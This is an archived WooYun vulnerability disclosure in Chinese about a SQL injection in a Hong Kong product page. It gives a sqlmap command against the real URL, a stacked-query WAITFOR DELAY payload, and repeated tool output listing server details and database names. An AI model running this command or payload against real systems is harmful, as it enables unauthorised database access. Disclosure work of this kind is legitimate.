乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-08-06: 细节已通知厂商并且等待厂商处理中 2015-08-07: 厂商已经确认,细节仅向厂商公开 2015-08-17: 细节向核心白帽子及相关领域专家公开 2015-08-27: 细节向普通白帽子公开 2015-09-06: 细节向实习白帽子公开 2015-09-21: 细节向公众公开
人生第一枚SQL注入。。
python .\sqlmap.py -u "http://www.cnsuning.com.hk/tch/products/default.aspx?c=120461&b=120660" --dbs
sqlmap identified the following injection points with a total of 318 HTTP(s) requests:---Parameter: b (GET) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: c=120461&b=120660);WAITFOR DELAY '0:0:5'-----web server operating system: Windows 2008 R2 or 7web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: b (GET) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: c=120461&b=120660);WAITFOR DELAY '0:0:5'-----web server operating system: Windows 2008 R2 or 7web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: b (GET) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: c=120461&b=120660);WAITFOR DELAY '0:0:5'-----web server operating system: Windows 2008 R2 or 7web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008available databases [7]:[*] [matter\x05A\x02][*] [ReportServer$SQLEXPRESS\t][*] [tempdb\x05][*] cnsuning[*] model[*] msdb[*] ReportServer$SQLEXPRESSTempDBsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: b (GET) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: c=120461&b=120660);WAITFOR DELAY '0:0:5'-----web server operating system: Windows 2008 R2 or 7web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2008available databases [7]:[*] [matterA][*] [ReportServer$SQLEXPRESS ][*] [tempdb][*] cnsuning[*] model[*] msdb[*] ReportServer$SQLEXPRESSTempDB
危害等级:中
漏洞Rank:10
确认时间:2015-08-07 09:08
感谢提交,非苏宁易购站点。
暂无